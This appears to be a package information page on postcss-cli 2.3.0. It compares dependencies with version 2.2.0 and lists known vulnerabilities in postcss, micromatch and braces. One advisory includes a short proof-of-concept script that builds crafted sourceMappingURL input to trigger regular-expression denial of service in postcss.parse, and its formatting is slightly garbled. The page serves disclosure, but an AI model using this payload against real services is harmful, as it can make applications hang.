Postcss-cli is a command-line tool that empowers developers to easily process CSS files with PostCSS and its rich eco-system of plugins. Comparing version 2.3.0 with its predecessor, 2.2.0, reveals subtle yet significant changes primarily revolving around internal project dependencies.
While version 2.3.0 maintains the core dependency footprint of version 2.2.0 - including essential tools like yargs for command-line argument parsing, globby for file matching, postcss itself for CSS processing, chokidar for file watching, and neo-async for asynchronous control flow - it introduces a crucial update by adding resolve as a dependency, version 1.1.6.
This addition suggests improvements in how the CLI handles module resolution, enabling more robust import and processing of CSS files that rely on external modules or dependencies, a common pattern when using PostCSS plugins like postcss-import. Postcss-import is listed as a dev dependency in both versions of the package.
Furthermore, examining the releaseDate hints at the updates implemented. Version 2.3.0 arrived approximately two weeks after version 2.2.0, indicating a relatively quick iteration. This suggests either bug fixes, minor feature additions, or adjustments based on user feedback from the previous release.
For developers using PostCSS, the postcss-cli provides a versatile way to automate and streamline CSS workflows. With features like file watching, it makes development efficient and easy. The improvements made in version 2.3.0 concerning module resolution make it a compelling upgrade, allowing developers to integrate modern build processes more effectively.
All the vulnerabilities related to the version 2.3.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Regular Expression Denial of Service (ReDoS) in micromatch
The NPM package micromatch prior to version 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in micromatch.braces() in index.js because the pattern .* will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persisted prior to https://github.com/micromatch/micromatch/pull/266. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching.
Regular Expression Denial of Service (ReDoS) in braces
A vulnerability was found in Braces versions prior to 2.3.1. Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.
Regular Expression Denial of Service in braces
Versions of braces prior to 2.3.1 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.
Upgrade to version 2.3.1 or higher.
Uncontrolled resource consumption in braces
The NPM package braces fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In lib/parse.js, if a malicious user sends "imbalanced braces" as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.